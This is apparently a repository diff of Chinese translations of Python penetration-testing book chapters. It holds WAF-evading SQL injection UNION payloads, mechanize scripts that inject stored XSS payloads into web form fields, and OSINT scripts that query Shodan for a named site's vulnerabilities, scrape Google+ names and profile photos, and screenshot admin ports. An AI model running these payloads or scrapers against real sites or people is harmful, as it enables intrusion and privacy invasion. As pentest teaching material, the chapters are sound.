都应该知道如何手工创建查询。对于一种类型的攻击,您可以制作一个程序,但是现在,不同的网站开发人员使用不同的方法来显示数据库中的数据。有些开发人员使用 HTML 表单来显示数据,有些开发人员使用简单的 HTML 语句来显示数据。一个 Python 工具**sqlmap**可以做很多事情。然而,有时会出现 web 应用程序防火墙,如 mod security;这不允许通过查询**联合**和**订单等。在这种情况下,您必须手动创建查询,如下所示:** - -``` -/*!UNION*/ SELECT 1,2,3,4,5,6,-- -/*!00000UNION*/ SELECT 1,2,database(),4,5,6 – -/*!UnIoN*/ /*!sElEcT*/ 1,2,3,4,5,6 – -``` - -您可以创建一个精心编制的查询的列表。当简单查询不起作用时,您可以检查网站的行为。根据行为,您可以决定查询是否成功。在这个例子中,Python 编程非常有帮助。 - -现在让我们看一下为基于防火墙的网站制作 Python 程序的步骤: - -1. 列出所有精心编制的查询。 -2. 对网站应用一个简单的查询,并观察网站的响应。 -3. 将此响应用于`attempt not successful`。 -4. 逐个应用列出的查询,并按程序匹配响应。 -5. 如果响应不匹配,则手动检查查询。 -6. 如果显示成功,则停止该程序。 -7. 如果不成功,则将其添加到`attempt not successful`中,并继续执行列出的查询。 - -前面的步骤仅用于显示精心编制的查询是否成功。只有通过查看网站才能找到所需的结果。 - -# 学习跨站点脚本 - -在本节中,我们将讨论**跨站点脚本**(**XSS**攻击。XSS 攻击利用动态生成的网页中的漏洞进行攻击,当发送到用户浏览器进行呈现的动态内容中包含无效输入数据时,就会发生这种。 - -跨站点攻击有以下两种类型: - -* 持久或存储的 XSS -* 非持久或反射 XSS - -## 持久或存储的 XSS - -在这种类型的攻击中,攻击者的输入存储在 web 服务器中。在一些网站上,你会看到评论栏和一个可以写评论的消息框。提交评论后,您的评论将显示在显示页面上。试着想想一个例子,你的评论成为 web 服务器 HTML 页面的一部分;这意味着您可以更改网页。如果没有适当的验证,那么您的恶意代码可能会存储在数据库中,当它反射回网页时,会产生不良效果。它被永久存储在数据库服务器中,这就是为什么它被称为持久性。 - -## 非持久或反射 XSS - -在这种类型的攻击中,攻击者的输入不存储在数据库服务器中。响应以错误消息的形式返回。输入以 URL 或在搜索字段中给出。在本章中,我们将研究存储的 XSS。 - -现在让我们看看 XSS 攻击的代码。代码的逻辑是向网站发送漏洞攻击。在以下代码中,我们将攻击表单的一个字段: - -``` -import mechanize -import re -import shelve -br = mechanize.Browser() -br.set_handle_robots( False ) -url = raw_input("Enter URL ") -br.set_handle_equiv(True) -br.set_handle_gzip(True) -#br.set_handle_redirect(False) -br.set_handle_referer(True) -br.set_handle_robots(False) -br.open(url) -s = shelve.open("mohit.xss",writeback=True) -for form in br.forms(): - print form - -att = raw_input("Enter the attack field ") -non = raw_input("Enter the normal field ") -br.select_form(nr=0) - -p =0 -flag = 'y' -while flag =="y": - br.open(url) - br.select_form(nr=0) - br.form[non] = 'aaaaaaa' - br.form[att] = s['xss'][p] - print s['xss'][p] - br.submit() - ch = raw_input("Do you continue press y ") - p = p+1 - flag = ch.lower() -``` - -此代码是为使用名称和注释字段的网站编写的。这段代码将让您了解如何完成 XSS 攻击。有时,当您提交评论时,网站将重定向到显示页面。这就是为什么我们使用`br.set_handle_redirect(False)`语句进行评论。在代码中,我们将漏洞代码存储在`mohit.xss`搁置文件中。`br.forms():`中的表单语句将打印表单。通过查看表单,可以选择要攻击的表单字段。设置`flag = 'y'`变量使`while`循环至少执行一次。有趣的是,当我们使用`br.open(url)`语句时,它每次都会打开网站的 URL,因为在我的虚拟网站中,我使用了重定向;这意味着在提交表单后,它将重定向到显示页面,该页面将显示旧的注释。`br.form[non] = 'aaaaaaa'`语句只填充输入字段中的`aaaaaa`字符串。`br.form[att] = s['xss'][p]`语句显示所选字段将由 XSS 漏洞字符串填充。`ch = raw_input("Do you continue press y ")`语句要求用户输入下一次攻击。如果用户输入了`y`或`Y`,则`ch.lower()`将其设置为`y`,从而使`while`循环保持活动状态。 - -现在,是输出的时候了。以下截图显示了`192.168.0.5`的索引页面: - -![Nonpersistent or reflected XSS](graphics/8583OT_07_07.jpg) - -网站的索引页 - -现在是查看代码输出的时候了: - -![Nonpersistent or reflected XSS](graphics/8583OT_07_08.jpg) - -代码的输出 - -您可以在前面的屏幕截图中看到代码的输出。当我按下*y*键时,代码发送 XSS 漏洞。 - -现在我们来看网站的输出: - -![Nonpersistent or reflected XSS](graphics/8583OT_07_09.jpg) - -网站的输出 - -您可以看到代码正在成功地将输出发送到网站。但是,由于 PHP 中的安全编码,该字段不受 XSS 攻击的影响。在本章末尾,您将看到**注释**字段的安全编码。现在,运行代码并检查名称字段。 - -![Nonpersistent or reflected XSS](graphics/8583OT_07_10.jpg) - -对名称字段的攻击成功 - -现在,让我们来看看 ToeT0}的代码,从中可以看到更新 T1。 - -``` -import shelve -def create(): - print "This only for One key " - s = shelve.open("mohit.xss",writeback=True) - s['xss']= [] - -def update(): - s = shelve.open("mohit.xss",writeback=True) - val1 = int(raw_input("Enter the number of values ")) - - for x in range(val1): - val = raw_input("\n Enter the value\t") - (s['xss']).append(val) - s.sync() - s.close() - -def retrieve(): - r = shelve.open("mohit.xss",writeback=True) - for key in r: - print "*"*20 - print key - print r[key] - print "Total Number ", len(r['xss']) - r.close() - -while (True): - print "Press" - print " C for Create, \t U for Update,\t R for retrieve" - print " E for exit" - print "*"*40 - c=raw_input("Enter \t") - if (c=='C' or c=='c'): - create() - - elif(c=='U' or c=='u'): - update() - - elif(c=='R' or c=='r'): - retrieve() - - elif(c=='E' or c=='e'): - exit() - else: - print "\t Wrong Input" -``` - -我希望您熟悉前面的代码。现在,看前面代码的输出: - -![Nonpersistent or reflected XSS](graphics/8583OT_07_11.jpg) - -xss_data_handler.py 的输出 - -前面的屏幕截图显示了`mohit.xss`文件的内容;`xss.py`文件仅限于两个字段。然而,现在让我们看看不限于两个字段的代码。 - -`xss_list.py`文件如下: - -``` -import mechanize -import shelve -br = mechanize.Browser() -br.set_handle_robots( False ) -url = raw_input("Enter URL ") -br.set_handle_equiv(True) -br.set_handle_gzip(True) -#br.set_handle_redirect(False) -br.set_handle_referer(True) -br.set_handle_robots(False) -br.open(url) -s = shelve.open("mohit.xss",writeback=True) -for form in br.forms(): - print form -list_a =[] -list_n = [] -field = int(raw_input('Enter the number of field "not readonly" ')) -for i in xrange(0,field): - na = raw_input('Enter the field name, "not readonly" ') - ch = raw_input("Do you attack on this field? press Y ") - if (ch=="Y" or ch == "y"): - list_a.append(na) - else : - list_n.append(na) - -br.select_form(nr=0) - -p =0 -flag = 'y' -while flag =="y": - br.open(url) - br.select_form(nr=0) - for i in xrange(0, len(list_a)): - att=list_a[i] - br.form[att] = s['xss'][p] - for i in xrange(0, len(list_n)): - non=list_n[i] - br.form[non] = 'aaaaaaa' - - print s['xss'][p] - br.submit() - ch = raw_input("Do you continue press y ") - p = p+1 - flag = ch.lower() -``` - -前面的代码能够攻击多个字段或单个字段。在这段代码中,我们使用了两个列表:`list_a`和`list_n`。`list_a`列表包含您希望发送 XSS 漏洞攻击的字段名,`list_n`列表包含您不希望发送 XSS 漏洞攻击的字段名。 - -现在我们来看节目。如果您了解`xss.py`计划,您会注意到我们对`xss.py`进行了修改,创建了`xss_list.py`: - -``` -list_a =[] -list_n = [] -field = int(raw_input('Enter the number of field "not readonly" ')) -for i in xrange(0,field): - na = raw_input('Enter the field name, "not readonly" ') - ch = raw_input("Do you attack on this field? press Y ") - if (ch=="Y" or ch == "y"): - list_a.append(na) - else : - list_n.append(na) -``` - -我已经解释了`list_a[]`和`list_n[]`的意义。变量字段要求用户输入表单中非只读的表单字段总数。`for i in xrange(0,field):`语句定义`for`循环将运行表单字段的总次数。`na`变量要求用户输入字段名,`ch`变量要求用户输入`Do you attack on this field`。这意味着,如果您按*y*或*y*,输入的字段将转到`list_a`;否则将转到`list_n`: - -``` -for i in xrange(0, len(list_a)): - att=list_a[i] - br.form[att] = s['xss'][p] - for i in xrange(0, len(list_n)): - non=list_n[i] - br.form[non] = 'aaaaaaa' -``` - -前面的代码很容易理解。两个列表的两个`for`循环运行到列表的长度,并填写表单字段。 - -代码的输出如下所示: - -![Nonpersistent or reflected XSS](graphics/8583OT_07_12.jpg) - -填写检查表\u n - -前面的屏幕截图显示表单字段的数量为两个。用户输入表单字段的名称并将其设置为非攻击字段。这只是检查代码的工作情况。 - -![Nonpersistent or reflected XSS](graphics/8583OT_07_13.jpg) - -填写表格以检查列表 - -前面的屏幕截图显示用户输入表单字段并使其成为攻击字段。 - -现在,请查看网站的回复,如下所示: - -![Nonpersistent or reflected XSS](graphics/8583OT_07_14.jpg) - -表单字段已成功填写 - -前面的屏幕截图显示代码工作正常;前两行用普通的`aaaaaaa`字符串填充。第三行和第四行已被 XSS 攻击填满。到目前为止,您已经了解了如何自动化 XSS 攻击。通过适当的验证和过滤,web 开发人员可以保护他们的网站。在 PHP 函数中,`htmlspecialchars()`字符串可以保护您的网站免受 XSS 攻击。在上图中,您可以看到,**注释**字段不受 XSS 攻击的影响。以下屏幕截图显示了**注释**字段的编码部分: - -![Nonpersistent or reflected XSS](graphics/8583OT_07_15.jpg) - -显示 htmlspecialchars()函数的图 - -当您看到显示页面的查看源时,它看起来像`<script>alert(1)</script>`;将特殊字符`<`转换为`<`,将`>`转换为`>`。这种转换称为 HTML 编码。 - -# 总结 - -在本章中,您了解了两种主要的 web 攻击类型:SQL 注入和 XSS。在 SQL 注入中,您学习了如何使用 Python 脚本查找管理员登录页面。SQL 注入有很多不同的查询,在本章中,您学习了如何基于重言式破解用户名和密码。在 SQLI 的另一次攻击中,您学习了如何在有效用户名之后进行注释。在接下来的 XSS 中,您看到了如何将 XSS 漏洞利用应用于表单字段。在`mohit.xss`文件中,您看到了如何添加更多漏洞。 \ No newline at end of file diff --git a/trans/py-pentest-dev/18.md b/trans/py-pentest-dev/18.md deleted file mode 100644 index c05b8df..0000000 --- a/trans/py-pentest-dev/18.md +++ /dev/null @@ -1,775 +0,0 @@ -# 第一章收集开源情报 - -在本章中,我们将介绍以下主题: - -* 使用 Shodan API 收集信息 -* 编写 Google+API 搜索脚本 -* 使用 Google+API 下载个人资料图片 -* 使用 Google+API 分页获取其他结果 -* 使用 QtWebKit 获取网站截图 -* 基于端口列表的屏幕截图 -* 蜘蛛网 - -# 导言 - -**开源情报****OSIT**是从公开(公开)来源收集信息的过程。在测试 web 应用程序时,这似乎是一件奇怪的事情。然而,在接触某个特定网站之前,就可以了解该网站的大量信息。您可能能够找到网站使用的服务器端语言、基础框架,甚至其凭据。学习使用 API 和编写这些任务的脚本可以使收集阶段的大部分工作变得更加容易。 - -在本章中,我们将介绍使用 Python 利用 API 的强大功能来深入了解目标的几种方法。 - -# 使用 Shodan API 收集信息 - -Shodan 本质上是一个漏洞搜索引擎。通过向其提供名称、IP 地址甚至端口,它将返回其数据库中匹配的所有系统。这使得它成为基础设施方面最有效的情报来源之一。这就像谷歌搜索互联网连接设备一样。Shodan 不断扫描互联网,并将结果保存到公共数据库中。而该数据库可从 Shodan 网站([网站)进行搜索 https://www.shodan.io](https://www.shodan.io) ),报告的结果和服务是有限的,除非您通过**应用程序编程接口**(**API**访问)。 - -本节的任务是通过使用 Shodan API 获取关于 Packt 发布网站的信息。 - -## 准备好了吗 - -在撰写本文时,Shodan 的会员费是 49 美元,这是获得 API 密钥所必需的。如果你对安全问题很认真,访问 Shodan 是无价的。 - -如果您还没有 Shodan 的 API 密钥,请访问[www.Shodan.io/store/member](http://www.shodan.io/store/member)并注册。Shodan 有一个非常好的 Python 库,在[中也有很好的文档记录 https://shodan.readthedocs.org/en/latest/](https://shodan.readthedocs.org/en/latest/) 。 - -要将 Python 环境设置为与 Shodan 一起使用,只需使用`cheeseshop`安装库即可: - -``` -$ easy_install shodan - -``` - -## 怎么做… - -下面是我们将用于此任务的脚本: - -``` -import shodan -import requests - -SHODAN_API_KEY = "{Insert your Shodan API key}" -api = shodan.Shodan(SHODAN_API_KEY) - -target = 'www.packtpub.com' - -dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY - -try: - # First we need to resolve our targets domain to an IP - resolved = requests.get(dnsResolve) - hostIP = resolved.json()[target] - - # Then we need to do a Shodan search on that IP - host = api.host(hostIP) - print "IP: %s" % host['ip_str'] - print "Organization: %s" % host.get('org', 'n/a') - print "Operating System: %s" % host.get('os', 'n/a') - - # Print all banners - for item in host['data']: - print "Port: %s" % item['port'] - print "Banner: %s" % item['data'] - - # Print vuln information - for item in host['vulns']: - CVE = item.replace('!','') - print 'Vulns: %s' % item - exploits = api.exploits.search(CVE) - for item in exploits['matches']: - if item.get('cve')[0] == CVE: - print item.get('description') -except: - 'An error occured' -``` - -前面的脚本应产生类似于以下内容的输出: - -``` -IP: 83.166.169.231 -Organization: Node4 Limited -Operating System: None - -Port: 443 -Banner: HTTP/1.0 200 OK - -Server: nginx/1.4.5 - -Date: Thu, 05 Feb 2015 15:29:35 GMT - -Content-Type: text/html; charset=utf-8 - -Transfer-Encoding: chunked - -Connection: keep-alive - -Expires: Sun, 19 Nov 1978 05:00:00 GMT - -Cache-Control: public, s-maxage=172800 - -Age: 1765 - -Via: 1.1 varnish - -X-Country-Code: US - -Port: 80 -Banner: HTTP/1.0 301 https://www.packtpub.com/ - -Location: https://www.packtpub.com/ - -Accept-Ranges: bytes - -Date: Fri, 09 Jan 2015 12:08:05 GMT - -Age: 0 - -Via: 1.1 varnish - -Connection: close - -X-Country-Code: US - -Server: packt - -Vulns: !CVE-2014-0160 -The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, aka the Heartbleed bug. - -``` - -我刚刚选择了 Shodan 返回的一些可用数据项,但您可以看到我们得到了相当多的信息。在这个特定的例子中,我们可以看到存在一个潜在的漏洞。我们还看到该服务器正在侦听端口`80`和`443`,根据横幅信息,它似乎正在运行`nginx`作为 HTTP 服务器。 - -## 它是如何工作的… - -1. 首先,我们在代码中设置静态字符串;这包括我们的 API 密钥: - - ``` - SHODAN_API_KEY = "{Insert your Shodan API key}" - target = 'www.packtpub.com' - - dnsResolve = 'https://api.shodan.io/dns/resolve?hostnames=' + target + '&key=' + SHODAN_API_KEY - ``` - -2. 下一步是创建我们的 API 对象: - - ``` - api = shodan.Shodan(SHODAN_API_KEY) - ``` - -3. 为了使用 API 搜索主机信息,我们需要知道主机的 IP 地址。Shodan 有一个 DNS 解析器,但它不包含在 Python 库中。要使用 Shodan 的 DNS 解析程序,我们只需向 Shodan DNS 解析程序 URL 发出 GET 请求,并将其传递给我们感兴趣的域: - - ``` - resolved = requests.get(dnsResolve) - hostIP = resolved.json()[target] - ``` - -4. 返回的 JSON 数据将是域到 IP 地址的字典;因为在我们的例子中只有一个目标,所以我们可以简单地使用`target`字符串作为字典的密钥来提取主机的 IP 地址。如果您在多个域上搜索,您可能希望遍历此列表以获取所有 IP 地址。 -5. 现在,我们有了主机的 IP 地址,我们可以使用 Shodan libraries`host`函数获取关于我们主机的信息。返回的 JSON 数据包含大量关于主机的信息,不过在我们的示例中,我们将只提取 IP 地址、组织以及正在运行的操作系统(如果可能)。然后我们将遍历所有被发现开放的港口及其各自的横幅: - - ``` - host = api.host(hostIP) - print "IP: %s" % host['ip_str'] - print "Organization: %s" % host.get('org', 'n/a') - print "Operating System: %s" % host.get('os', 'n/a') - - # Print all banners - for item in host['data']: - print "Port: %s" % item['port'] - print "Banner: %s" % item['data'] - ``` - -6. The returned data may also contain potential **Common Vulnerabilities and Exposures** (**CVE**) numbers for vulnerabilities that Shodan thinks the server may be susceptible to. This could be really beneficial to us, so we will iterate over the list of these (if there are any) and use another function from the Shodan library to get information on the exploit: - - ``` - for item in host['vulns']: - CVE = item.replace('!','') - print 'Vulns: %s' % item - exploits = api.exploits.search(CVE) - for item in exploits['matches']: - if item.get('cve')[0] == CVE: - print item.get('description') - ``` - - 这就是我们的剧本。尝试在您自己的服务器上运行它。 - -## 还有更多… - -我们用我们的脚本只触及了 Shodan Python 库的表面。阅读 Shodan API 参考文档并使用其他搜索选项是非常值得的。您可以根据“方面”筛选结果以缩小搜索范围。您甚至可以使用其他用户使用“标记”搜索保存的搜索。 - -# 编写 Google+API 搜索脚本 - -社交媒体是收集目标公司或个人信息的好方法。在这里,我们将向您展示如何编写 Google+API 搜索脚本,以便在 Google+社交网站中查找公司的联系信息。 - -## 准备好了吗 - -一些 Google API 需要授权才能访问它们,但是如果你有 Google 帐户,获取 API 密钥很容易。只需转到[https://console.developers.google.com](https://console.developers.google.com) 并创建一个新项目。点击**API&认证****凭证**。点击**创建新密钥**和**服务器密钥**。可选择输入您的 IP 或点击**创建**。将显示您的 API 密钥,并准备复制和粘贴到以下配方中。 - -## 怎么做… - -下面是一个查询 Google+API 的简单脚本: - -``` -import urllib2 - -GOOGLE_API_KEY = "{Insert your Google API key}" -target = "packtpub.com" -api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read() -api_response = api_response.split("\n") -for line in api_response: - if "displayName" in line: - print line -``` - -## 它是如何工作的… - -前面的代码向 Google+搜索 API 发出请求(使用 API 密钥进行身份验证),并搜索中与目标匹配的帐户;`packtpub.com`。与前面的 Shodan 脚本类似,我们设置了静态字符串,包括 API 键和目标: - -``` -GOOGLE_API_KEY = "{Insert your Google API key}" -target = "packtpub.com" -``` - -下一步做两件事:首先,它向 API 服务器发送 HTTP`GET`请求,然后读取响应并将输出存储到`api_response`变量中: - -``` -api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read() -``` - -此请求返回 JSON 格式的响应;结果的示例片段如下所示: - -![How it works…](graphics/B04044_01_01.jpg) - -在我们的脚本中,我们将响应转换为列表,以便更容易解析: - -``` -api_response = api_response.split("\n") -``` - -代码的最后一部分在列表中循环并仅打印包含`displayName`的行,如下所示: - -![How it works…](graphics/B04044_01_02.jpg) - -## 另见… - -在下一个配方*中,使用 Google+API*下载个人资料图片,我们将研究如何改进这些结果的格式。 - -## 还有更多… - -通过从一个简单的脚本开始查询 Google+API,我们可以将其扩展为更高效,并使用更多返回的数据。Google+平台的另一个关键方面是,用户也可能在另一个 Google 服务上拥有匹配的帐户,这意味着您可以交叉引用帐户。大多数谷歌产品都有一个 API 供开发者使用,所以一个好的起点是[https://developers.google.com/products/](https://developers.google.com/products/) 。抓取一个 API 密钥并将上一个脚本的输出插入其中。 - -# 使用 Google+API 下载个人资料图片 - -既然我们已经确定了如何使用 Google+API,我们可以设计一个脚本来下拉图片。这里的目的是将面孔与取自网页的名字对应起来。我们将通过 URL 向 API 发送请求,通过 JSON 处理响应,并在脚本的工作目录中创建图片文件。 - -## 怎么做 - -下面是一个使用 Google+API 下载个人资料图片的简单脚本: - -``` -import urllib2 -import json - -GOOGLE_API_KEY = "{Insert your Google API key}" -target = "packtpub.com" -api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY).read() - -json_response = json.loads(api_response) -for result in json_response['items']: - name = result['displayName'] - print name - image = result['image']['url'].split('?')[0] - f = open(name+'.jpg','wb+') - f.write(urllib2.urlopen(image).read()) - f.close() -``` - -## 它是如何工作的 - -第一个更改是将显示名称存储到变量中,因为这将在以后重新使用: - -``` - name = result['displayName'] - print name -``` - -接下来,我们从 JSON 响应中获取图像 URL: - -``` -image = result['image']['url'].split('?')[0] -``` - -代码的最后一部分用三行简单的代码完成了很多事情:首先,它在本地磁盘上打开一个文件,文件名设置为`name`变量。此处的`wb+`标志指示操作系统,如果文件不存在,则应创建该文件,并以原始二进制格式写入数据。第二行向图像 URL 发出 HTTP`GET`请求(存储在`image`变量中),并将响应写入文件。最后,关闭文件以释放用于存储文件内容的系统内存: - -``` - f = open(name+'.jpg','wb+') - f.write(urllib2.urlopen(image).read()) - f.close() -``` - -脚本运行后,控制台输出与之前相同,显示名称。但是,您的本地目录现在也将包含所有配置文件图像,并保存为 JPEG 文件。 - -# 使用分页从 Google+API 获取其他结果 - -默认情况下,Google+API 最多返回 25 个结果,但我们可以通过增加最大值并通过分页获取更多结果来扩展以前的脚本。与之前一样,我们将通过 URL 和`urllib`库与 Google+API 进行通信。我们将创建任意数字,随着请求的进行,这些数字会增加,因此我们可以跨页面移动并收集更多结果。 - -## 怎么做 - -以下脚本显示了如何从 Google+API 获取其他结果: - -``` -import urllib2 -import json - -GOOGLE_API_KEY = "{Insert your Google API key}" -target = "packtpub.com" -token = "" -loops = 0 - -while loops < 10: - api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read() - - json_response = json.loads(api_response) - token = json_response['nextPageToken'] - - if len(json_response['items']) == 0: - break - - for result in json_response['items']: - name = result['displayName'] - print name - image = result['image']['url'].split('?')[0] - f = open(name+'.jpg','wb+') - f.write(urllib2.urlopen(image).read()) - loops+=1 -``` - -## 它是如何工作的 - -此脚本中的第一个大的更改,即主代码,已移动到`while`循环中: - -``` -token = "" -loops = 0 - -while loops < 10: -``` - -在这里,循环数被设置为最多 10 个,以避免向 API 服务器发送太多请求。当然,该值可以更改为任何正整数。下一个更改是请求 URL 本身;它现在包含两个附加的尾部参数`maxResults`和`pageToken`。来自 Google+API 的每个响应都包含一个`pageToken`值,它是指向下一组结果的指针。请注意,如果没有更多结果,仍然会返回一个`pageToken`值。`maxResults`参数不言自明,但最多只能增加到 50: - -``` - api_response = urllib2.urlopen("https://www.googleapis.com/plus/v1/people? query="+target+"&key="+GOOGLE_API_KEY+"&maxResults=50& pageToken="+token).read() -``` - -下一部分在 JSON 响应中读取的内容与前面相同,但这次它还提取了`nextPageToken`值: - -``` - json_response = json.loads(api_response) - token = json_response['nextPageToken'] -``` - -如果`loops`变量增加到 10,主`while`循环可以停止,但有时您可能只得到一页结果。代码的下一部分检查返回了多少结果;如果没有,则会过早退出循环: - -``` - if len(json_response['items']) == 0: - break -``` - -最后,我们确保每次增加`loops`整数的值。一个常见的编码错误是忽略了这一点,这意味着循环将永远继续: - -``` - loops+=1 -``` - -# 使用 QtWebKit 获取网站截图 - -他们说一幅画胜过千言万语。有时候,在情报收集阶段获取网站截图是件好事。我们可能想扫描一个 IP 范围,了解哪些 IP 在为网页提供服务,更重要的是它们看起来是什么样子。这有助于我们挑选感兴趣的站点进行关注,出于同样的原因,我们还可能希望快速扫描特定 IP 地址上的端口。我们将看看如何使用`QtWebKit`Python 库实现这一点。 - -## 准备好了吗 - -安装 QtWebKit 有点麻烦。最简单的方法是从[获取二进制文件 http://www.riverbankcomputing.com/software/pyqt/download](http://www.riverbankcomputing.com/software/pyqt/download) 。对于 Windows 用户,请确保选择符合`python/arch`路径的二进制文件。例如,我将使用`PyQt4-4.11.3-gpl-Py2.7-Qt4.8.6-x32.exe`二进制文件在安装了 Python 版本 2.7 的 Windows 32 位虚拟机上安装 Qt4。如果您计划从源文件编译 Qt4,请确保您已经安装了`SIP`。 - -## 怎么做… - -一旦安装了 PyQt4,就可以开始了。下面的脚本是我们将用作 screenshot 类的基础的脚本: - -``` -import sys -import time -from PyQt4.QtCore import * -from PyQt4.QtGui import * -from PyQt4.QtWebKit import * - -class Screenshot(QWebView): - def __init__(self): - self.app = QApplication(sys.argv) - QWebView.__init__(self) - self._loaded = False - self.loadFinished.connect(self._loadFinished) - - def wait_load(self, delay=0): - while not self._loaded: - self.app.processEvents() - time.sleep(delay) - self._loaded = False - - def _loadFinished(self, result): - self._loaded = True - - def get_image(self, url): - self.load(QUrl(url)) - self.wait_load() - - frame = self.page().mainFrame() - self.page().setViewportSize(frame.contentsSize()) - - image = QImage(self.page().viewportSize(), QImage.Format_ARGB32) - painter = QPainter(image) - frame.render(painter) - painter.end() - return image -``` - -创建前面的脚本并将其保存在 Python`Lib`文件夹中。然后,我们可以在脚本中将其作为导入引用。 - -## 它是如何工作的… - -脚本使用加载 URL,然后使用 QPaint 创建图像。`get_image`函数只接受一个参数:我们的目标。知道了这一点,我们可以简单地将其导入另一个脚本并扩展功能。 - -让我们把脚本分解一下,看看它是如何工作的。 - -首先,我们建立了我们的进口: - -``` -import sys -import time -from PyQt4.QtCore import * -from PyQt4.QtGui import * -from PyQt4.QtWebKit import * -``` - -然后,我们创建类定义;我们正在创建的类通过继承从`QWebView`扩展: - -``` -class Screenshot(QWebView): -``` - -接下来,我们创建初始化方法: - -``` -def __init__(self): - self.app = QApplication(sys.argv) - QWebView.__init__(self) - self._loaded = False - self.loadFinished.connect(self._loadFinished) - -def wait_load(self, delay=0): - while not self._loaded: - self.app.processEvents() - time.sleep(delay) - self._loaded = False - -def _loadFinished(self, result): - self._loaded = True -``` - -初始化方法设置`self.__loaded`属性。它与`__loadFinished`和`wait_load`函数一起用于检查应用程序运行时的状态。它等待站点加载后再截图。实际屏幕截图代码包含在`get_image`功能中: - -``` -def get_image(self, url): - self.load(QUrl(url)) - self.wait_load() - - frame = self.page().mainFrame() - self.page().setViewportSize(frame.contentsSize()) - - image = QImage(self.page().viewportSize(), QImage.Format_ARGB32) - painter = QPainter(image) - frame.render(painter) - painter.end() - return image -``` - -在这个`get_image`函数中,我们将视口的大小设置为主框架内内容的大小。然后设置图像格式,将图像指定给画家对象,然后使用画家渲染帧。最后,我们返回处理后的图像。 - -## 还有更多… - -要使用我们刚刚创建的类,我们只需将其导入另一个脚本。例如,如果我们只想保存返回的图像,我们可以执行以下操作: - -``` -import screenshot -s = screenshot.Screenshot() -image = s.get_image('http://www.packtpub.com') -image.save('website.png') -``` - -就这些。在下一个脚本中,我们将创建一些更有用的内容。 - -# 基于端口列表的屏幕截图 - -在前面的脚本中,我们创建了基本函数,用于返回 URL 的图像。现在,我们将在此基础上进行扩展,以循环浏览通常与基于 web 的管理门户关联的端口列表。这将允许我们将脚本指向 IP,并自动通过可能与 web 服务器关联的端口运行。当我们不知道服务器上打开了哪些端口时,而不是在指定端口和域的位置时,可以使用此选项。 - -## 准备好了吗 - -为了让这个脚本正常工作,我们需要在使用 QtWeb 工具包配方的网站的*截图中创建脚本。这应该保存在`Pythonxx/Lib`文件夹中,并命名为清晰、难忘的内容。在这里,我们将该脚本命名为`screenshot.py`。脚本的命名尤其重要,因为我们用一个重要的声明引用它。* - -## 怎么做… - -这是我们将使用的脚本: - -``` -import screenshot -import requests - -portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489] - -IP = '127.0.0.1' - -http = 'http://' -https = 'https://' - -def testAndSave(protocol, portNumber): - url = protocol + IP + ':' + str(portNumber) - try: - r = requests.get(url,timeout=1) - - if r.status_code == 200: - print 'Found site on ' + url - s = screenshot.Screenshot() - image = s.get_image(url) - image.save(str(portNumber) + '.png') - except: - pass - -for port in portList: - testAndSave(http, port) - testAndSave(https, port) -``` - -## 它是如何工作的… - -我们首先创建我们的进口报关单。在这个脚本中,我们使用之前创建的`screenshot`脚本和`requests`库。使用`requests`库是为了在尝试将请求转换为图像之前检查请求的状态。我们不想浪费时间试图转换不存在的网站。 - -接下来,我们导入我们的库: - -``` -import screenshot -import requests -``` - -下一步将设置我们将迭代的公共端口号数组。我们还使用将要使用的 IP 地址设置了一个字符串: - -``` -portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489] - -IP = '127.0.0.1' -``` - -接下来,我们创建字符串来保存我们稍后将构建的 URL 的协议部分;这只会使代码稍后更整洁一些: - -``` -http = 'http://' -https = 'https://' -``` - -接下来,我们创建我们的方法,该方法将完成构建 URL 字符串的工作。在我们创建了 URL 之后,我们检查是否为我们的`get`请求返回了`200`响应代码。如果请求成功,我们将返回的网页转换为图像并保存,文件名为成功的端口号。代码被包装在一个`try`块中,因为当我们发出请求时,如果站点不存在,它将抛出一个错误: - -``` -def testAndSave(protocol, portNumber): - url = protocol + IP + ':' + str(portNumber) - try: - r = requests.get(url,timeout=1) - - if r.status_code == 200: - print 'Found site on ' + url - s = screenshot.Screenshot() - image = s.get_image(url) - image.save(str(portNumber) + '.png') - except: - pass -``` - -现在我们的方法准备好了,我们只需迭代端口列表中的每个端口并调用我们的方法。我们对 HTTP 协议执行一次,然后对 HTTPS 执行一次: - -``` -for port in portList: - testAndSave(http, port) - testAndSave(https, port) -``` - -就这样。只需运行脚本,它就会将图像保存到与脚本相同的位置。 - -## 还有更多… - -您可能会注意到脚本需要一段时间才能运行。这是因为它必须依次检查每个端口。实际上,您可能希望将其设置为多线程脚本,以便它可以同时检查多个 URL。让我们来看看如何修改代码来实现这个目标。 - -首先,我们需要更多的导入声明: - -``` -import Queue -import threading -``` - -接下来,我们需要创建一个新函数,我们将调用它`threader`。此新函数将处理将我们的`testAndSave`函数放入队列的操作: - -``` -def threader(q, port): - q.put(testAndSave(http, port)) - q.put(testAndSave(https, port)) -``` - -现在我们有了新的函数,我们只需要设置一个新的`Queue`对象并进行一些线程调用。我们将通过`portList`变量从`FOR`循环中取出`testAndSave`调用,并将其替换为以下代码: - -``` -q = Queue.Queue() - -for port in portList: - t = threading.Thread(target=threader, args=(q, port)) - t.deamon = True - t.start() - -s = q.get() -``` - -因此,我们的新脚本总体上如下所示: - -``` -import Queue -import threading -import screenshot -import requests - -portList = [80,443,2082,2083,2086,2087,2095,2096,8080,8880,8443,9998,4643, 9001,4489] - -IP = '127.0.0.1' - -http = 'http://' -https = 'https://' - -def testAndSave(protocol, portNumber): - url = protocol + IP + ':' + str(portNumber) - try: - r = requests.get(url,timeout=1) - - if r.status_code == 200: - print 'Found site on ' + url - s = screenshot.Screenshot() - image = s.get_image(url) - image.save(str(portNumber) + 